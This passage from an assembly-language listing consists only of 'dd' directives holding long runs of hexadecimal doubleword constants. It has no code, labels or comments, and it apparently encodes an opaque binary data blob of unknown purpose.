74139C67h, 0D81F620Ah, 37804411h dd 544555D6h, 0FED3448Ch, 0CAD64F00h, 8562E865h, 0FC9A5289h dd 32017B23h, 2C4548D6h, 8388D218h, 28D6284Ah, 0EB3D20A4h dd 0A4766A01h, 0C3FEFCF2h, 466028A8h, 0DE9B024Ah, 31FA6643h dd 9350100Ah, 29E6DEh, 2016633Ch, 754508BDh, 4DED4718h dd 29929D69h, 11807AC0h, 0D6358046h, 8C444553h, 0F8D544h dd 0DF7BD64Dh, 6B3181E9h, 0B812A02Ah, 75DBC712h, 0CF39EA00h dd 3AB032F0h, 36830654h, 0F2A9E547h, 8542800Eh, 889C94ADh dd 0D631C07Ah, 24464557h, 0FC02CC22h, 0D419D649h, 40E48476h dd 7AC02E34h, 3437E8Ch, 65AC2F15h, 0C8090D3Bh, 2A52A106h dd 6D088478h, 17250412h, 0F854D94Bh, 78E097DCh, 218A608Ch dd 0ECDC795Dh, 0ACDDF300h, 0E2FCA647h, 0EE40C23Ch, 9C6B9CB1h dd 2A228384h, 49F87040h, 0DE94268Ch, 0F8F2158Fh, 5F811688h dd 2F1ADE8Ch, 18A430D4h, 81886497h, 0E00B76Ah, 0FE6658AEh dd 202B1Bh, 651E6ECFh, 0F2A782C8h, 13481261h, 0D9BFCA92h dd 0E1418630h, 0BD01E5AEh, 81018953h, 88412907h, 4C083F95h dd 0DC4E1C8Ch, 84401196h, 5E001777h, 6C71DC46h, 3C038A04h dd 1C9338A0h, 7E0690FBh, 29890025h, 4ED363C8h, 0A80309ADh dd 28E548BAh, 0DEC3AC5Dh, 3F1DE0FDh, 9033666h, 40468840h dd 9ADC420Eh, 70CC600Ah, 0DCA07A5Ah, 5B483555h, 4C313EC0h dd 0C08E8864h, 9C307F55h, 0D225146h, 7F4D5400h, 0D5437C18h dd 64870294h, 1256A06Eh, 8D465864h, 317F087Dh, 3BC4599Ch dd 7F4E5540h, 88777874h, 16210C90h, 854F1129h, 0BF09DE96h dd 90C3182h, 0DE8E5D10h dd 0BEDD910Eh, 0AB61E077h, 2885D384h, 91849471h, 18D0D17Ch dd 66C20337h, 34B673A5h, 0F52396A1h, 890C206Dh, 1183A40h dd 6C91F4F3h, 65B98561h, 0F1342618h, 1AE058D8h, 0A08311CFh dd 0D09E000Bh, 8A04A61Ch, 0C694A1EBh, 4516D823h, 8E5C210Ah dd 27F512DAh, 490AC6CBh, 848A2509h, 220897Eh, 10FFB990h dd 0C4877DF8h, 0A01963DAh, 1262374Ch, 893F656h, 39879550h dd 0BFA03026h, 0C0C78642h, 40A59A39h, 0DE01FEAEh, 292F505Eh dd 38740AFFh, 0CD73069Eh, 0F086256Ch, 0CC07E24h, 97604E44h dd 662C4FDEh, 5C70109Ah, 8DE018Fh, 96BBAE27h, 30CFCF9h dd 95B10B0Bh, 91609DA4h, 71287D1h, 0DB6EA111h, 0BD3F9880h dd 0CA8B87B2h, 64CCE902h, 850C18B1h, 0C025D5CCh, 8C70B83Ah dd 26449A01h, 759D9714h, 2C9E2CC0h, 5E00E7DCh, 0D200D046h dd 78AA7E2Dh, 9D01C3A4h, 51842562h, 0E3F8CB1Fh, 946500DEh dd 3A70646Ah, 80F5BB9Ah, 0B727F034h, 48E9629Fh, 4F001477h dd 254A53Ah, 0EF07AC48h, 8C73E875h, 82E3AA60h, 588F6028h dd 0C7F5EC2Fh, 4F583490h, 8C13E8F0h, 8F575300h, 1099E707h dd 2B9141Dh, 0EE3BBCC8h, 442C082Ch, 0F780A20Eh, 0AD7AC0D8h dd 0E60A45E2h, 80CDE96Fh, 56016E00h, 6EACB11h, 89509AD3h dd 82756834h, 0EE411F60h, 0C5051951h, 4006A018h, 0B43243DCh dd 2307CDC3h, 0DB51D5B1h, 0A95F31B0h, 6C8000A8h, 7776452Ch dd 37005D9Dh, 0D663BD94h, 0E1DD5EF5h, 464C78A8h, 0D64C0279h dd 313C454Ah, 448110D9h, 8CF400D6h, 0B3EEC93Dh, 270DA2CAh dd 991FA140h, 2B1F1D0h, 6F53132Bh, 9BC2EBDAh, 0CBC6A802h dd 15C4B047h, 0D7E8F463h, 660A0855h, 0C83478B1h, 39F03D47h dd 5D26BA2h, 0DD24FD1Fh, 7CA20438h, 45108085h, 3CA50B5Eh dd 0C36213C4h, 244FBF83h, 0B9BE0295h, 2CE72C92h, 0FD6009C4h dd 16008DA5h, 0D6782248h, 24B11E58h, 0C93038D0h, 46384C97h dd 0E2325100h, 0C25B9C6Ah, 4D46E0B0h, 95DC4F0Eh, 75C24808h dd 475F0017h, 0A0F7DDCh, 0FD1B89A4h, 10A4824h, 38244C11h dd 2A3808h, 178EAF3Fh, 86302D78h, 238869CDh, 0CF70003Ah dd 5DC69DA5h, 6F04C8A0h, 6E3828B6h, 323C99h, 2E30D9E2h dd 900A0042h, 0A887E367h, 3900D99Ch, 0E0F5A694h, 25248291h dd 409D518Dh, 6C80D511h, 7246966Eh, 0E7069A01h, 7FCB966h dd 5C5ACC59h, 823178C0h, 4CB1C4DFh, 7CADF184h, 0E5802585h dd 51820D5Ah, 96D1DC9Dh, 9E00FC22h, 0E961D76Bh, 0B97B1CEFh dd 1805C8B2h, 139D90BBh, 0D123A43Ah, 9E940C00h, 0C1C68EA1h dd 44B96450h, 0D0E9A008h, 0EA40A08Fh, 4CDD7F79h, 0AFC054D1h dd 626D8DA6h, 8EE099E2h, 65C13F00h, 251CB1A8h, 0DEE20787h dd 8CCE8106h, 61205991h, 9038050Eh, 836F3082h, 5BB08F08h dd 0C8A49BA5h, 90024D46h, 92664EDEh, 885B001Ch, 4186FCDEh dd 3D582742h, 3FDD0748h, 3E840DB5h, 0B9C414D0h, 0B8044D6Ch dd 4C1E3910h, 742D174Ch, 0B4C26024h, 7F533088h, 419C3611h dd 56800E88h, 0A8357F4Bh, 0F72C0442h, 0A3E79E69h, 0C108A768h dd 0C092472Eh, 230563D9h, 65130AF7h, 9CA0D826h, 0C465E20h dd 7B484A03h, 404C01B3h, 8CD5E810h, 0E9883200h, 3FAFDED2h dd 7C854898h, 0A58D5A80h, 34018046h, 0FC87BEAEh, 0E6D479A3h dd 0DD570723h, 69BAB992h, 0A64D047h, 9D996460h, 87A2733Fh dd 3059E0AFh, 1809EBB0h, 889E4D49h, 7AFB7378h, 79F501DCh dd 0D8943A77h, 26D7FDB4h, 0A0E4F02Ch, 11B401B0h, 17260163h dd 14C0364Fh, 26E3DC45h, 89C6C018h, 7D590421h, 0C069EFDCh dd 9F056405h, 0BCC0DD5Dh, 9815009Ch, 23BCD5FEh, 0D924629Eh dd 0BF165C78h, 90DD58DBh, 0D6298825h, 0A232084h, 0DEA82CB2h dd 3D7AC800h, 54F852CCh, 64EF2466h, 0E289065Ah, 852AD0C3h dd 98008CC6h, 0CCAF6A5h, 0C7C94D2h, 1E8D15E1h, 98833298h dd 9C26647h, 931D717Bh, 7F489C30h, 299C3313h, 4B00588Bh dd 2CE27F40h, 0AE2CAD50h, 0D4081C6Bh, 0A1060413h, 0C0688D7Eh dd 0D1505E59h, 88328208h, 0DA85D90Eh, 0E40B0084h, 6C2696DAh dd 0BB003FE9h, 4954D268h, 5BE2EF15h, 23103A8Dh, 39AD023Bh dd 0A460F2C2h, 0DF2EBEC8h, 46746409h, 27943B02h, 0BB6CA064h dd 0E3654E5h, 44E3B4A5h, 108D1287h, 0D595A24Dh, 1851DD03h dd 0D24F352Dh, 82D8E08Ch, 873606C8h, 0D0B6473Fh, 0FDF7C8A1h dd 4E6071A1h, 0C10F880Ch, 0C0F81B34h, 0D4590291h, 0C44A2498h dd 182D44Bh, 0E5D057Ah, 81A45E89h, 83D42C8Eh, 211FE042h dd 7458B1C6h, 91071CE4h, 0D48500Ch, 370559C1h, 72D8B065h dd 0A898C225h, 0F879260Ch, 86148970h, 53AB201Fh, 198B438Ch dd 0A11365A7h, 1AA00D6h, 0CBBC7F68h, 0A5763Eh, 2F278DAEh dd 9848743Fh, 0B952004h, 41181504h, 0FCF41724h, 4C1C8C4Eh dd 501194DCh, 5831708Ch, 0FFDC4400h, 0ECC934A1h, 1B7E0388h dd 0E479E545h, 3D846002h, 0F2FCB247h, 72E2ECF8h, 0A4EC0020h dd 614FC807h, 553B63F8h, 89AE00DDh, 8D4ACED5h, 7040B3E7h dd 0AC0043C7h, 937EFD76h, 0B922EEB9h, 17F00874h, 91DEA00Ch dd 149CA8FCh, 0BCBD094Ah, 0B000EF09h, 55516645h, 36003496h dd 2C2360AEh, 48A20079h, 8E637B15h, 9403A799h, 0CD9E3F8Dh dd 0F10880DCh, 0D5ED2647h, 0A86885B4h, 0CBA82530h, 0C776C8CCh dd 0FE5E20D6h, 2F03BE4Eh, 0D154570h, 6661110Fh, 0FC8A9721h dd 30148AC4h, 0A602A05h, 91ACBF5h, 9E6A8088h, 0A8AA3906h dd 80854027h, 6CE22534h, 59920AF3h, 0CAC2D2Eh, 5571C486h dd 0D7671100h, 27D1CB19h, 4FA14F1Bh, 0D9C00C4Ch, 7B43EBA0h dd 84F10571h, 3DE3FDC0h, 48C8860Bh, 743CF617h, 0ACBE002Ch dd 0F280F701h, 5669038Ah, 0EFEA6FD7h, 0C53022h, 16337BD2h dd 29BBDB23h, 7D285C09h, 1490E466h, 0A52EEB36h, 3A037E00h dd 89C1238h, 47409860h, 0C719110Dh, 5829D90h, 0CB988068h dd 3D72DCE9h, 64CE0603h, 12352551h, 23A13850h, 4D84BFCh dd 40C0C3ADh, 17D6443h, 44EA59B9h, 53781C4Eh, 9ABF00ACh dd 6AA4DDBBh, 0FDD86800h, 9F06C475h, 2FFA24A1h, 490EB954h dd 51C1686Dh, 85C38642h, 8DEC25E9h, 92E438F1h, 177896D0h dd 0A6509365h, 3327F88h, 0CB00A870h, 0F1D9FE4Ch, 24DBF54h dd 10D41ED7h, 906106DEh, 0C080041Dh, 289C75CFh, 0F9FD987Dh dd 373EE068h, 0B452133Eh, 33CD8440h, 47112C86h, 901AEED7h dd 2441188Eh, 0E05C9C0Ch, 0D8609113h, 25054529h, 729780EDh dd 0B88B0D31h, 0B43C0174h, 0CABD3F80h, 6454D112h, 1C043ECCh dd 480BC359h, 1A21CF3h, 6086DC30h, 9A4389C8h, 703D4759h dd 215C8138h, 546CD5E8h, 0B430C431h, 0A8DA0544h, 0F3098950h dd 308BB250h, 0C899A152h, 0F583B400h, 0C4FA35h, 0F499ACFFh dd 2D94A49Eh, 0ECD0BB12h, 10FC2446h, 9A3000B9h, 7B8D71B3h dd 8A3A17E0h, 9BC8D058h, 8E5581E0h, 0ACB40198h, 0BD7868E0h dd 957430F6h, 5499A0Eh, 9D8E476Ah, 0D4A08475h, 1DDF1F27h dd 443A562h, 0CA03CDC3h, 0CEC96EA8h, 9CC4B865h, 19940B64h dd 7065E7A1h, 0CB8051CFh, 0B48DF9BCh, 99ECC612h, 0A4952440h dd 32CCFDF6h, 13181FF7h, 70B41104h, 2CB9171Eh, 88B05D30h dd 1805C096h, 0C4439A4Bh, 0CC6E8060h, 8D49A891h, 5A7E851h dd 4E90CC57h, 0AF9E06Eh, 0DBFE0119h, 0E251008Ah, 6081ED5Ch dd 79596609h, 4720A03Ch dd 1B077864h, 87D1C0Ch, 0FCC943C7h, 555A19C6h, 0CA01A86Eh dd 3A247051h, 88ADD80Fh, 9882A34Ah, 0B73F003Eh, 88B90CB5h dd 0D61813D1h, 7C41202h, 0E02B1CA8h, 80294240h, 544BB89Ch dd 419F0882h, 2D103BD8h, 0E40A50Ch, 2990B1ACh, 1809D1C0h dd 4B200BDh, 965ECBA6h, 9A0C12A2h, 7851B548h, 0BEE31797h dd 5E981224h, 656A446Ch, 9009179Eh, 738C421Dh, 0BB5970C0h dd 9CD52B0Eh, 2151CBE4h, 86A11EE8h, 2876A83Ch, 4EE41BCBh dd 0C86F3Eh, 0E3C923AEh, 298F2CFAh, 7640ED5h, 648A823Fh dd 0B8CA253Eh, 50063DFh, 0ABC8827Ch, 66161C6Ah, 0C9418677h dd 3900D03Dh, 6E3D693h, 735C9DC2h, 188A3B94h, 1AC08067h dd 49E513F0h, 80D3E0ACh, 0D41A58h, 0F7E30A25h, 41647B4Ah dd 810F1132h, 6E82E0AEh, 0B1F67888h, 8490072Ch, 4FB0434Dh dd 0A97083Ch, 0B0714618h, 3B5844A5h, 4E1DBB9Eh, 3DE64004h dd 1B5C8708h, 65F7AD00h, 62B3A31Eh, 3A714F35h, 5CC234Ch dd 8287D775h, 8CA24170h, 18689466h, 8741792h, 0B6BAC8C0h dd 0C7E4FF4Fh, 10D81861h, 0C52338E2h, 58D25538h, 0FA680278h dd 78644F09h, 44182848h, 0A2391E28h, 14071ECCh, 4327804Ch dd 0B9865CA4h, 7EA0000Ch, 0B4CCB834h, 0E7D900F5h, 6771E40Ch dd 5502C345h, 6EB99375h, 491872C4h, 99801C44h, 0EA6641DEh dd 52580CBCh, 0FDDE0191h, 0FCF13A0Ah, 3198112h, 706316B5h dd 4085F420h, 0C609430Bh, 72319149h, 0B28211A0h, 0B8304C4Fh dd 432E8C01h, 3508AC4Eh, 0B04F12F8h, 0A0800E24h, 3E1E2D61h dd 3B11A41Dh, 0F25BB380h, 0A30182B9h, 911546D6h, 0E82C8E60h dd 4A048C76h, 399C4D7Fh, 49200162h, 557F42h, 180C7588h dd 2D6E905Fh, 10648604h, 28C914DBh, 96FCB9E0h, 59060520h dd 6690418Eh, 9D2AFD49h, 0D02CA119h, 0B52290A8h, 0D69E0926h dd 60739A44h, 98A5370h, 8906F120h, 6360D60Ch, 4A011012h dd 4CEF20A0h, 0EC02008Fh, 0BAB6404Dh, 0F441847h, 7E70A260h dd 829C3809h, 0F67CD840h, 910460A7h, 0A065613Ch, 0AC7030E0h dd 491B3107h, 8971DCEEh, 0D06042EDh, 3807401Ch, 0B0A8741Eh dd 0B4D5B0Fh, 60FB80D6h, 497C8Fh, 3DA5D51Dh, 8CA4D4B6h dd 0AC393007h, 94404B65h, 16FE2211h, 48431F6h, 3D7EE5Ch dd 4A05409Ah, 0B786E51h, 89DBE95Eh, 5CD84202h, 612F40D0h dd 0CA00B9BCh, 0AD54CD31h, 2150A8D7h, 952712E9h, 818491ECh dd 9F1319F7h, 1FA451E2h, 0E017EFC3h, 4B80D291h, 1BFD1503h dd 24A4AC90h, 74646A01h, 27FEA107h, 408F062h, 0FD444D5Bh dd 9490654Bh, 0AD0764A6h, 8662CCECh, 64BC9F14h, 8CD9ECh dd 25095D0Dh, 0DE369071h, 832603F6h, 74403C9Eh, 7BBF77Fh dd 136F8E4Ah, 45BC00Eh, 0A0747D1Eh, 0EF7ED58h, 838A1D16h dd 0E0BF5517h, 5632208h, 2E4DDAA7h, 0E2E0C09Bh, 0DE3A1588h dd 51240265h, 82149DCDh, 524C9ED9h, 93B0584Ch, 3C294733h dd 4C182140h, 0ED49C563h, 8697A0C2h, 0BEAFEC1h, 0D4063D84h dd 0F11389Dh, 0EA01DF80h, 7225B860h, 0BE6CA727h, 0ECC76D20h dd 28349C2Dh, 2FC34408h, 0FE750C17h, 1C618029h, 80755FE9h dd 40E0F476h, 0F3060A31h, 0EFE18D87h, 0EB511760h, 0FB02244h dd 0BCB9E421h, 9234052Eh, 88009A59h, 8451C102h, 0EBF9DC3Ch dd 2782E380h, 0C487D54h, 9F80E4A9h, 90456962h, 0D1D138D9h dd 3358E218h, 0CE261258h, 408D20A4h, 0A58DA28h, 0BC982E34h dd 0A4676h, 78D28F45h, 0BFA54Eh, 0BB33A867h, 0EEC61118h dd 7040A74Fh, 0C4948C5Ah, 65482D97h, 62D5D820h, 990072C9h dd 7A8337CBh, 9EAD79h, 0A1F53004h, 928F4F85h, 0BF0F3CB8h dd 1473317h, 18050D46h, 92629C52h, 703053D8h, 867690B5h dd 0FCCD301Dh, 928BD881h, 0E03C9AB9h, 0C06E5Bh, 0D9EDAEBFh dd 0BDCC7BAh, 7B6013C8h, 0B3293850h, 15792C4Fh, 280B7F18h dd 0F027172h, 237C8A0h, 0BBD12AD2h, 19FE4C0h, 4E7E8A2h dd 9281514Fh, 20BAE1D4h, 8D200544h, 4EAF0312h, 9E620AABh dd 0C85FD691h, 11EA1E97h, 91A8979Fh, 7F3B83D9h, 45E5D037h dd 2E5A1CF3h, 0FD440FA7h, 0A4E415E1h, 0B258738Dh, 0F948303Bh dd 17EBE06h, 2C99758Ah, 40644518h, 7D60123Fh, 0DB943A02h dd 0E0745983h, 9E105C60h, 0BA6C8E6Ch, 0D4B69104h, 4D4C254h dd 9CB29225h, 0D9C98619h, 764AD866h, 0F9DFAB07h, 0E1406A21h dd 0FFA78E22h, 5AEAA180h, 0DEFF1F2Ch, 7B052076h, 0FDB0403Dh dd 350094E2h, 98AC6A42h, 662F4E38h, 11BC9D32h, 0CC36800Eh dd 2069355h, 0D471A68h, 0E4D0E7B5h, 80016A27h, 0B9E57B68h dd 0CE8E4F60h, 0C30E8848h, 2AF8ABF1h, 49624C77h, 641AAD68h dd 0B57C716Ch, 46BD7C9Dh, 55FC960Fh, 8C8EEC49h, 8D448B1h dd 46506DA1h, 1795594Ah, 8015918Ch, 6997E070h, 0B810B77Dh dd 6700E218h, 0FE0F1560h, 48C14966h, 4F071029h, 45884D47h dd 0AFDCF579h, 0E8341008h, 6FC0069h, 81012A09h, 0DD0378D4h dd 41B31EFBh, 97559137h, 0AF1D8C0h, 4F58D6DCh, 8A9FC0C4h dd 0D0A081CCh, 26C2D2DCh, 0D0C9057Ah, 63131804h, 0C3DA93Ch dd 88014526h, 7CD246F4h, 4F938E17h, 3DD1EC04h, 52CB060Fh dd 0C8688860h, 0EF06997Ch, 209ECBFh, 18160978h, 1C294442h dd 0D670B07Bh, 4612040Bh, 0C1788E95h, 0AF39E170h, 0C3780h dd 77F4DA0Fh, 221375BDh, 8C137C21h, 1FC18004h, 0D90E8946h dd 4C80E49Ch, 2FC1D0DEh, 0FF201838h, 5D8E190Ch, 13D70F17h dd 4C48D00h, 6240DFh, 17A1B31Bh, 4F07F876h, 0A09B3E1Ch dd 937AAC84h, 38BCA0A8h, 2F1A758Ch, 400F16Ah, 6430C6BEh dd 9E025898h, 0D91548B5h, 25BC8010h, 0C29BC89Ah, 8A834E28h dd 0CB4D6481h, 587D02h, 4B65F8A3h, 93E78D77h, 2A3570C4h dd 0FEF9C02h, 40CC06DCh, 2C9198B4h, 409425B2h, 409A36EAh dd 4E48FB01h, 4AA1863Ch, 9C02F478h, 9013957Dh, 0C2BE3C80h dd 0FDA04D43h, 440197A4h, 473F2894h, 6F6F7E96h, 0CB400B70h dd 823C921Bh, 0D8FB0A4h, 0A2283350h, 772C300Eh, 0CAE21203h dd 0F244DE09h, 444F469h, 0E8F09A3Dh, 6C7B25C0h, 1C95B79Ch dd 0F4900E91h, 0D2A100Fh, 0EC2F19C0h, 0A7810F2Dh, 2C1D49ECh dd 0A68C9307h, 3A465E08h, 6091F107h, 120C0ACBh, 64B0E4FDh dd 83D6C700h, 274DE325h, 3B8503CFh, 0AE446EFFh, 0C95682F5h dd 0D794879h, 8E038218h, 0B8F85272h, 618919Ch, 0B98C020h dd 9FEC9213h, 0DAD968D1h, 15093F18h, 1FF850Ch, 64937363h dd 8A1468F6h, 792500B9h, 6F4D24ACh, 193C2DC4h, 3F9684E5h dd 0CE09DE0h, 686D0048h, 119C5487h, 0E20ED622h, 8216DC03h dd 0F47B2C82h, 0CECF45Ch, 13D32901h, 1A80A15Ah, 0A5AC2C2Bh dd 1C8D5124h, 2014676h, 0EB03DD4Bh, 0ED39C08Eh, 0FC8F0548h dd 0A0365D59h, 4A27B958h, 4B10A228h, 0EC020991h, 8D02D7A6h dd 2868C4DDh, 3004A0h, 0EE15D75h, 10E41940h, 989A1300h dd 0AE3B78E2h, 4C00974Eh, 0C5416687h, 0B83EE89Eh, 494D2E2h dd 1FD90CC7h, 82A0C8ACh, 7A1CD65Bh, 20B53915h, 1ACB8881h dd 1E9F2193h, 0DD096218h, 73A87136h, 0A8CF707Ch, 5F59460Bh dd 0D0FC814Dh, 9865EFB2h, 0FCA2F015h, 8F30D0F2h, 3F7F04B7h dd 0C1FB884Ch, 0A5795038h, 44E44C50h, 0C4448527h, 2BB7224h dd 264ED3E5h, 0C7EE17Bh, 393D0840h, 62D20030h, 0AE74A7A9h dd 0A814225Ah, 1D169FDh dd 14EF97FFh, 583D4018h, 40DEE840h, 276B3DC7h, 6AC4206Eh dd 0E630DF74h, 39ED00BFh, 0BBE4FBAEh, 444A1865h, 745328D1h dd 0A197BFE0h, 0ACE0ED28h, 71A70AC7h, 170C99B0h, 90881DD5h dd 0FCD80339h, 9C6511h, 196D6E21h, 0CDB76FAAh, 56922F0Dh dd 112A7817h, 180074F0h, 0A95493B1h, 0B0744460h, 23BA0300h dd 4C0E43CCh, 0CB5A14FAh, 0FD241819h, 91480A0h, 2D089D13h dd 0F1A46F00h, 0B366DFA6h, 27DC70DEh, 70401A59h, 670906C4h dd 72CDFE80h, 81070C20h, 861024B2h, 47023091h, 50FD0515h dd 608A1090h, 0DFBF0394h, 8C41C60Bh, 4B05B8B0h, 6A0880E0h dd 7A078B68h, 1ECACD2Eh, 5C9DA9DCh, 4062C962h, 0E84B4865h dd 0C0569387h, 81498916h, 1EA798C1h, 4E143983h, 1BB00FB5h dd 0DD00EE72h, 8856BB76h, 4B32DCC1h, 20208898h, 97D84789h dd 9EC52572h, 2E211CC4h, 8A299FD7h, 86700544h, 0A18F049Ah dd 0C4289895h, 6168416h, 0A8C41EA1h, 0DCD4FCA8h, 40B4B706h dd 0B912D910h, 0BCB2C3C2h, 23E42F5Ah, 0F790000Dh, 0EDCE773h dd 0EACAA901h, 267EC4E3h, 73B80028h, 8633078Ch, 0A54A44C8h dd 8209C110h, 6B42D92h, 1ED95166h, 38D54CD0h, 807568C4h dd 0A00CDBD7h, 0BECD1716h, 7672B482h, 107DC48h, 0B9660E86h dd 84E433F5h, 1A24407Ah, 0EF98462Fh, 470240E8h, 7F9ED0Dh dd 805482D2h, 2BBB1FAFh, 96075D1h, 0C10A9106h, 2CC60810h dd 1C17EF58h, 9E8D64D6h, 0A4E308D5h, 196260B8h, 98E57137h dd 57600CE4h, 8F051BD6h, 39629C43h, 24A890D6h, 47401DBDh dd 0BF035874h, 480949ECh, 42396818h, 0B29593C4h, 0D47876B0h dd 83B95D09h, 3C0848A0h, 0C6F80773h, 0A348B192h, 78535AE9h dd 3039A258h, 0EC13E93Ch, 8445C159h, 542EF592h, 25000923h dd 0E3AAB040h, 0D957126Eh, 58180499h, 0C8C8AD0Bh, 1187081Dh dd 0BEB39E02h, 5078F2ECh, 4EF3A015h, 0C878CE08h, 82F0C289h dd 6CB1A660h, 26402756h, 2C09C81Ch, 0D9087111h, 21180Fh dd 0B7A5E828h, 6172DA1Ah, 60EA802Fh, 4EB9E4E4h, 3F3C000Ch dd 398548AEh, 4A010F76h, 0BC84A3B1h, 52B118Ch, 40E6FDE4h dd 0ED7D0CA4h, 0C504EBD6h, 0C7A9DA2Ah, 0D922ECACh, 0A1077A09h dd 54F862E2h, 2CF96BD0h, 86148A78h, 1E103F07h, 2DB52FFEh dd 6AF170D7h, 78206009h, 7948024Eh, 25837464h, 0E5009476h dd 4737903Eh, 2EE75A8Dh, 0FD5239Ch, 5600FEEFh, 9E3A1626h dd 0C848C86Fh, 0AC41830Eh, 0AEF2E007h, 23189260h, 2882E500h dd 8BAFFFFDh, 6CC200BCh, 439C4102h, 61CEC185h, 80038E7Bh dd 0D39E398Eh, 2089C46h, 0BF2CD6DCh, 0BA625462h, 8E8968DEh dd 9C594Dh, 7B88417Ah, 6876CB0Ch, 8449289Ch, 14A94C50h dd 0DDB94CD4h, 0FC100C17h, 51EF021Ch, 50929C39h, 45167478h dd 0C80CD1Dh, 953864FDh, 0CD4064CFh, 3A560502h, 0EA04882Eh dd 0AD476768h, 0BC8A92A0h, 0CAC00FC8h, 3C8BD585h, 0F0AE3453h dd 0D17E08D4h, 773DD002h, 2C9D5517h, 60177788h, 3B12D233h dd 1C67A0E0h, 5DD02879h, 4438A14h, 0D39171F3h, 0D3CCAC96h dd 1C894CBh, 596490C0h, 30879DEDh, 6092D1A4h, 0ECA0286Eh dd 3E098CD1h, 740A015Ch, 4A241100h, 0C0B3E485h, 6AC008B7h dd 0B0014B8Fh, 257474E8h, 405B114Ah, 0FCCABB70h, 1FE300C2h dd 42A095D8h, 4131036h, 0DCD2A14Ch, 0F3A3E0D0h, 0FA180044h dd 0C379C416h, 2401C1E3h, 5750638h, 208AAAF1h, 87F087BFh dd 0E963794Fh, 96531081h, 0F482D009h, 7B040295h, 733C4AE5h dd 0FB737828h, 3BE4627Ch, 0EE658D25h, 9D8224E8h, 0A9004BE0h dd 8E54C206h, 7CD2E6F9h, 88CB862Ah, 595ADF00h, 1A11F363h dd 602748Bh, 0D25C5EDh, 0A303819Fh, 1F422661h, 98E14B64h dd 800BAEFCh, 0D12582C2h, 0F420007Ch, 0FE0FEE8h, 0FCDFD900h dd 9B3E7760h, 484F4835h, 38814D89h, 4016646Dh, 367A6398h dd 96544F13h, 76F144F2h, 0EA50C17h, 0D6D77DEBh, 495C05FCh dd 84C0B415h, 648AF0B6h, 0B84CD077h, 26407174h, 89E40860h dd 0A0494518h, 906E3B0Fh, 4D47BA00h, 0F6A24A9Ah, 98165113h dd 4BC9852h, 8C8CF8h, 0C9253DF7h, 43E177B2h, 758A6F00h dd 0BCDBB73Fh, 0A14018D0h, 149E6016h, 70F14099h, 7397C18h dd 0EDAC0482h, 1400E3FDh, 4C366F88h, 0AFB03BFCh, 3A09A901h dd 8D5CDC94h, 18B4282Bh, 0BB3F39C0h, 658662ADh, 0C447891Ch dd 9401AB7Bh, 88CAED44h, 1DCD51F0h, 485D598h, 0C30E4B6Fh dd 3FA050FCh, 10979637h, 2C4F3358h, 5C1127h, 0D83D0E68h dd 2E030DFCh, 3E1B045Bh, 961CA03Bh, 11FD011Eh, 14FFBAF1h dd 26299A8Eh, 96180121h, 488E6B67h, 0E3920B6Fh, 641405C4h dd 0A42F267Eh, 0CF148410h, 0A0FC6ADFh, 6E29FD40h, 0B785C7Bh dd 49960503h, 0CAB05B83h, 70B6161Dh, 304ABFh, 20411817h dd 0E4980B79h, 6C20D76Ah, 89B0824Bh, 0D31F0008h, 0D225CBF6h dd 0E07046C2h, 41324591h, 7331F144h, 3184E294h, 2B517103h dd 9CED6425h, 0A300B4B8h, 99DC607Eh, 598AA106h, 0C324A0CCh dd 3E1E03C0h, 0B6907A3Fh, 0DDE253F3h, 0AEA30902h, 68770526h dd 63911220h, 3293593Fh, 1800EEC3h, 9ABCD8A2h, 52D181Eh dd 2C0ADBD6h, 264C573h, 654FBDF4h, 5CC86C83h, 6CFDF600h dd 26DE2740h, 60F8007Dh, 4C1938FBh, 3317F079h, 0C8D9E232h dd 0CA8BC6Dh, 0C16E0901h, 0D1ED4725h, 140054E2h, 0CB0A2492h dd 3BD4CEEAh, 8849A059h, 3493CCBDh, 888B9001h, 143C9C5Ah dd 2D2FFAF1h, 0AC6A7F44h, 0DC258C14h, 0DC42E22Dh, 74696056h dd 6C00DCECh, 6B15A6EDh, 0B4D18A01h, 3CA0B0h, 36786A06h dd 0FA5C2902h, 16005EECh, 0F824CC7Ah, 249809C0h, 9805742h dd 787154ECh, 0C8A4FD97h, 0C9EF009Dh, 28F0070Eh, 0A6018AAAh dd 7F9C90BAh, 30E09F94h, 3D8B065h, 3F374845h, 92889147h dd 98A1C76Dh, 8259C0DEh, 1BF9CA60h, 729F9C39h, 0D41D97B5h dd 0E281D191h, 72888351h, 90796C8Ch, 0C8615C60h, 4808A392h dd 0C66910A4h, 2C822D7Ch, 463D7C9Fh, 0C13F2200h, 484CE728h dd 3D30AE07h, 856B178Bh, 4C309320h, 957AA2BAh, 0C567092h dd 0A1217667h, 70382872h, 5E909C8Eh, 0F23D82Fh, 0B3125207h dd 26F1C727h, 0B069A0ADh, 0A67B0070h, 0AC2C140Ah, 202697BCh dd 1A11BC75h, 643A7B07h, 7234C0D1h, 503AE18Bh, 44D41FFFh dd 34A62B16h, 6AF248E0h, 0D44FFF2h, 636700BEh, 5F5EFE21h dd 0E5005B77h, 5736E6C3h, 2E18D281h, 619C9BBDh, 35336488h dd 83E3A28h, 400FD923h, 9501A07Eh, 32B1EFh, 0C318AFD7h dd 50765BEEh, 0D52D2498h, 0AE54273Bh, 0A5807BE9h, 7591E017h dd 11150580h, 0E257173h, 1330C651h, 2466123Fh, 841EBACCh dd 0ADD5906h, 96380920h, 5878C16Ah, 9E1870EFh, 4595F892h dd 8111EE48h, 0D0780C03h, 0C9A492E4h, 2856E059h, 9E6F00D6h dd 0FC1705B9h, 0F0D2CD24h, 7523C03Ah, 0B5F99400h, 1CA73DBFh dd 6F591CE1h, 6160E08Ah, 0DCF00DA6h, 0E001358Eh, 2A2CE88h dd 1A3E0515h, 0B7557190h, 0D20C80C0h, 5A470DD8h, 0B3005E73h dd 936F5CFDh, 2441EEE3h, 960C02D1h, 0E078F6D5h, 27D348h dd 0D130C51Bh, 0B964654Ah, 0A02A6C20h, 4E029074h, 5B6440A1h dd 0ABEA19F6h, 61DB251Fh, 9A3092C5h, 14CBD80Eh, 63440178h dd 0F108017Ah, 74A9E445h, 0A01D2BB8h, 0CA404D85h, 0B5387BFDh dd 0AEBD1E3Fh, 25636E2Dh dd 34C0BC4Dh, 22CAA3C1h, 744B3D05h, 290B8020h, 0F94B00E9h dd 94905413h, 855B4F88h, 59E3D090h, 2BB60023h, 6673129Ah dd 0F70058EBh, 4BC49F34h, 167432AFh, 5B2B318h, 0CF44553Ch dd 0C0D088B4h, 0FEAA3B0Ch, 6209B209h, 9D00E8FFh, 0C00D1E27h dd 9A4C8024h, 0D3691D35h, 68DACE00h, 0D79044D1h, 54DC9009h dd 336E831h, 